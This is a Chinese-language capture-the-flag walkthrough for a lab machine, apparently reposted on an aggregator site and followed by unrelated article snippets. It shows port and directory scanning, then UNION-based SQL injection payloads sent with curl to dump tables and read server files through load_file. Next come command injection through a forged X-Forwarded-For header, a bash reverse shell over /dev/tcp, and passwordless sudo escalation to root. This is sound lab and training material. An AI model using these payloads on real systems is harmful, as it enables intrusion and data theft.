第一阶段 侦查

nmap扫描

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-19 08:29 EST
Nmap scan report for 10.10.11.128
Host is up (0.092s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  httpNmap done: 1 IP address (1 host up) scanned in 13.64 seconds
oxdf@parrot$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts 10.10.11.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-19 09:58 EST
Nmap scan report for 10.10.11.128
Host is up (0.089s latency).PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.07 seconds

TCP - 80 端口

用不同的名字试下,有的能可以check成功,有的不成功

POST /index.php HTTP/1.1
Host: 10.10.11.128
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9
Origin: http://10.10.11.128
Connection: close
Referer: http://10.10.11.128/
Cookie: PHPSESSID=orpc54gjbbmaih8loabi2ru7biplayer=df

回包:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 Nov 2021 21:09:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 122Congratulations df you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a>

回包里包含<a href="/challenge.php">

/challenge.php

这条路径显示了一个与之前页面极为相似的新页面,但没发现有用信息。

目录暴力破解

使用feroxbuster工具扫描该网站,并添加-x php参数(因为已知该站点使用PHP技术)

oxdf@parrot$ feroxbuster -u http://10.10.11.128 -x php___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
───────────────────────────┬──────────────────────🎯  Target Url            │ http://10.10.11.128🚀  Threads               │ 50📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]💥  Timeout (secs)        │ 7🦡  User-Agent            │ feroxbuster/2.4.0💲  Extensions            │ [php]🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       12w      178c http://10.10.11.128/css
200        0l        0w        0c http://10.10.11.128/config.php
200       42l       93w        0c http://10.10.11.128/index.php
200       20l       61w        0c http://10.10.11.128/challenge.php
200        1l        2w        0c http://10.10.11.128/firewall.php
[####################] - 1m    119996/119996  0s      found:5       errors:0      
[####################] - 1m     59998/59998   532/s   http://10.10.11.128
[####################] - 1m     59998/59998   532/s   http://10.10.11.128/css

index.php和challenge.php页面我们见过了。config.php返回空响应,该页面极有可能被其他某个或多个页面所包含。

firewall.php返回200 OK状态码,但仅显示"Access Denied"。

第二阶段 SQL注入

检测SQL注入

该靶机似乎不存在SQL注入漏洞。发送player=0xdf'参数时,系统返回相同消息,仿佛能正常处理单引号。

当对另一位玩家尝试类似注入payload(player=ippsec')时,系统返回"用户不存在"的提示。这可能意味着:1)该表单确实不存在SQL注入漏洞;2)系统将错误处理与"未查询到结果"作了相同响应。


尝试提交df'时,系统会返回带有错误信息和链接的响应:

添加 or 1=1;-- - 返回,但没有“here”链接了:

为了确认是否存在注入漏洞,尝试构造一个一定不存在于数据库中的payload,观察其是否返回"不符合资格"的提示信息。

查询语句可能是:

SELECT username FROM users WHERE username = '[用户输入]';

如果是这种情况,那么输入类似ippsec';-- -的payload会与只输入ippsec返回相同结果:

SELECT username FROM users WHERE username = 'ippsec';-- -';

有效:

WAF

当输入包含0x时就会触发WAF拦截:

可以看到,原本返回"不符合资格"的查询语句,仅因注释符后的细微改动就变成了"允许参赛"的响应。这说明有过滤机制在全程监控并处理原始字符串。

理论上,输入player=df' or 1=1;-- -应该能返回数据行,但实际测试失败:

此外,响应中没有包含链接,这与其他触发过滤的情况一致。只要字符串中包含 or 就会触发WAF拦截:

UNION注入检测

在上述试验表明,当用户名存在时,系统显示的是数据库中的用户名值,而非输入内容(虽然从开发者角度看这两者本该相同)。

这意味着可以通过UNION注入来读取数据:

还可以:

下面获取数据库内信息:

curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo

结果:mysql,information_schema,performance_schema,sys,november

oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo

结果:flag,players

oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(table_name, ':', column_name) from INFORMATION_SCHEMA.columns where table_schema='november';-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo

结果:flag:one,players:player

oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(one) from flag;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo

结果:UHC{F1rst_5tep_2_Qualify}

oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(player) from players;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo

结果:ippsec,celesian,big0us,luska,tinyboy

把flag输入到challenge.php

读取文件

读前面扫描到的config.php,nginx服务器默认路径是/var/www/html/

再网页注入:
' union SELECT  load_file('/var/www/html/config.php');-- -

得到uhc用户密码:uhc-11qual-global-pw

用ssh登录,读取user.txt:

c5da15e2794bf0e92c7f26ba0f167ed1

第三阶段 权限提升

注入读取/firewall.php:
' union SELECT  load_file('/var/www/html/firewall.php');-- -

在回包php文件中发现:

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];} else {$ip = $_SERVER['REMOTE_ADDR'];};system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>

可以伪造X-FORWARDED-FOR,填入sudo命令里面

先用ping命令试验下,使用burp:

GET /firewall.php HTTP/1.1
Host: 10.10.11.128
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.11.128/challenge.php
Connection: close
Cookie: PHPSESSID=orpc54gjbbmaih8loabi2ru7bi
Upgrade-Insecure-Requests: 1
X-FORWARDED-FOR: 1.1.1.1; ping -c 1 10.10.14.6;

服务器读到ip,拼接后变成:sudo /usr/sbin/iptables -A INPUT -s 1.1.1.1; ping -c 1 10.10.14.6; -j ACCEPT

同时,通过 tcpdump 抓取经过 tun0 网络接口的 ICMP 协议数据包(如 ping 请求和响应):

oxdf@parrot$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:28:32.771157 IP 10.10.11.128 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
16:28:32.771182 IP 10.10.14.6 > 10.10.11.128: ICMP echo reply, id 1, seq 1, length 64

成功!

下面把ping换成shell:

bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1";

连接成功:

oxdf@parrot$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.128 49486
bash: cannot set terminal process group (793): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ 

升级下shell:

www-data@union:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null 
www-data@union:~/html$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@union:~/html$ 

列出当前用户可以通过 sudo 执行的命令及权限:

www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on union:(ALL : ALL) NOPASSWD: ALL

可以不用密码用sudo:

www-data@union:~/html$ sudo bash
root@union:/var/www/html#

完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/93357.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/93357.shtml
英文地址,请注明出处:http://en.pswp.cn/web/93357.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据分享】上市公司创新韧性数据(2007-2023)

数据介绍核心看点&#xff1a; 在复杂多变的市场环境中&#xff0c;企业如何通过创新维持竞争力&#xff1f;创新韧性是衡量企业在外部冲击下保持创新活力的关键指标。本文分享2007-2023年上市公司创新韧性数据&#xff0c;为研究企业抗风险能力提供核心支持。数据概览数据名称…

服务器配置开机自启动服务

一、配置启动文件sudo vim /etc/systemd/system/smartailab-backend.service sudo vim /etc/systemd/system/reall3d-frontend.servicesudo vim /etc/systemd/system/Culture_Liquor-backend.servicevim /etc/systemd/system/Culture_Liquor-backend.service内容&#xff1a;[U…

Ubuntu 25.04更新了哪些内容揭秘

2025年4月,Canonical正式推出Ubuntu 25.04 版本,代号"Plucky Puffin(勇敢的海鹦)"。此次发布围绕AI算力强化、桌面交互革新与跨架构支持三大核心方向展开,为开发者、创作者及企业用户带来多项突破性升级。 一、核心系统更新 systemd v257.4带来了重要的上游更新…

PHP反序列化的CTF题目环境和做题复现第2集_POP链构造

1 通过pop参数get方式提交反序列信息 2 题目 http://192.168.1.8/fxl2/fxl2_pop.php <?php highlight_file(__FILE__);class a {protected $var;public function hello(){echo $this->var;} }class b {public $cla;public function __destruct(){$this->cla->…

攻防世界—fakebook(两种方法)

一.审题这边先进行测试&#xff0c;login和join都失败了&#xff0c;所以没获取到什么消息。二.dirsearch工具扫描所以拿dirsearch扫一下&#xff0c;看看有没有什么文件可以访问。python3 dirsearch.py -u url可以看到当前目录下存在flag.php,robots.txt等&#xff0c;访问fla…

AI+物联网如何重塑仓储供应链?3个落地场景与系统架构设计思路

一、引言 在科技飞速发展的当下&#xff0c;AI与物联网技术的融合为仓储供应链领域带来了革新契机。这种融合不仅优化了传统运作模式&#xff0c;还催生出更智能、高效的管理方案&#xff0c;业财一体管理软件也在其中发挥着关键作用。 二、AI物联网在仓储供应链的落地场景 &am…

C++ 内存管理(内存分布 , 管理方式 , new和delete实现原理)

目录 1. C/C内存分布 练习: 2. C语言动态内存管理方式 2.1 malloc/calloc/realloc的区别 2.2 malloc的实现原理 2.3 内存块分布与扩容 3. C动态内存管理方式 3.1 new/delete操作类内置类型 1. new操作内置类型 2. delete操作内置类型 3.2 new/delete操作类自定义类型…

1.2. qemu命令起虚拟机增加网络配置

1. 网络配置 常见的网络模式分为tap网络和基础网络模式两种。 1.1. TAP网络&#xff08;桥接模式&#xff09; 虚拟机直接接入宿主机物理网络&#xff0c;获得独立IP 1.1.1. 使用tap方式起虚拟机网络-netdev tap,idhostnet0,ifnametap0 \-device virtio-net-pci,netdevhostnet0…

分享一个Oracle表空间自动扩容与清理脚本

一、基础环境准备&#xff08;首次执行&#xff09; -- 1. 创建表空间监控表&#xff08;存储使用率、容量等信息&#xff09; create table monitor_tablespace_rate (tbs_name varchar2(50), -- 表空间名total_gb number, -- 总容量(GB)used_gb number, …

Flink Sql 按分钟或日期统计数据量

一、环境版本 环境版本Flink1.17.0Kafka2.12MySQL5.7.33 【注意】Flink 1.13版本增加Cumulate Window&#xff0c;之前版本Flink Sql 没有 Trigger 功能&#xff0c;长时间的窗口不能在中途触发计算&#xff0c;输出中间结果。比如每 10S 更新一次截止到当前的pv、uv。只能用T…

LeetCode 2460.对数组执行操作

给你一个下标从 0 开始的数组 nums &#xff0c;数组大小为 n &#xff0c;且由 非负 整数组成。 你需要对数组执行 n - 1 步操作&#xff0c;其中第 i 步操作&#xff08;从 0 开始计数&#xff09;要求对 nums 中第 i 个元素执行下述指令&#xff1a; 如果 nums[i] nums[i …

深入解析 @nestjs/typeorm的 forRoot 与 forFeature

nestjs/typeorm 是 NestJS 与 TypeORM 集成的官方模块&#xff0c;提供了 forRoot() 和 forFeature() 两个核心静态方法用于配置数据库连接和实体注册。本文将深入解析这两个方法的机制、使用场景和最佳实践。 一、TypeOrmModule.forRoot() - 全局数据库配置 forRoot() 方法用于…

关于simplifyweibo_4_moods数据集的分类问题

本来打算用情感分类数据集拿Transformer模型来练练手&#xff0c;发现训练效果并不好。当我分析了这个数据集的标签后发现问题了&#xff1a; 查看标签的分布&#xff1a; import pandas as pd# 先直接读取数据&#xff0c;不进行后续处理 data_file ~/data/simplifyweibo_4_m…

Custom SRP - Baked Light

https://catlikecoding.com/unity/tutorials/custom-srp/baked-light/本篇教程介绍将静态光照烘焙到 light map 和 light prob 中.首先贴上我遇到的问题,希望遇到的同学帮忙解答:实践本教程过程中,定义的 MetaPass 没有效果, Unity 始终在使用默认的 meta pass,我使用的是 unit…

[Python]PTA:实验2-3-1-for 求1到100的和

本题要求编写程序&#xff0c;计算表达式 1 2 3 ... 100 的值。输入格式&#xff1a;本题无输入。输出格式&#xff1a;按照以下格式输出&#xff1a;sum 累加和代码如下&#xff1a;x0 for i in range(1,101,1):xi print("sum {}".format(x))

【解决笔记】MyBatis-Plus 中无 selectList 方法

MyBatis-Plus 中无 selectList 方法的解决笔记 核心前提 MyBatis-Plus 的 BaseMapper 接口内置了 selectList 等基础查询方法&#xff0c;继承该接口可直接使用&#xff0c;无需手动实现。 无 selectList 方法的两种情况及解决方式 1. 未继承 BaseMapper&#xff08;推荐方案&a…

一周学会Matplotlib3 Python 数据可视化-绘制箱线图(Box)

锋哥原创的Matplotlib3 Python数据可视化视频教程&#xff1a; 2026版 Matplotlib3 Python 数据可视化 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 课程介绍 本课程讲解利用python进行数据可视化 科研绘图-Matplotlib&#xff0c;学习Matplotlib图形参数基本设置&…

4.4 vue3生命周期函数

vue3生命周期函数生命周期钩子名称对比表阶段Vue 2 选项式 APIVue 3 组合式 API说明创建前beforeCreateonBeforeCreate&#xff08;已废弃&#xff09;Vue 3 中 setup() 替代创建完成createdsetup()&#xff08;替代&#xff09;setup 是入口&#xff0c;代替 beforeCreate 和 …

无脑整合springboot2.7+nacos2.2.3+dubbo3.2.9实现远程调用及配置中心

简介&#xff1a; 好久没有写博客了&#xff0c;最近辞职了有时间进行一次分享&#xff0c;今天我们主要是使用单体服务springboot整合nacos实现配置中心&#xff0c;然后整合dubbo来实现远程的rpc调用。如下是本地案例架构图&#xff0c;生产者和消费者的配置在nacos配置中心上…

腾讯位置商业授权微信小程序逆地址解析(坐标位置描述)

微信小程序JavaScript SDK 开发指南 逆地址解析(坐标位置描述) reverseGeocoder(options:Object) 本接口提供由坐标到坐标所在位置的文字描述的转换&#xff0c;输入坐标返回地理位置信息和附近poi列表。 注&#xff1a;坐标系采用gcj02坐标系 options属性说明 属性类型必填…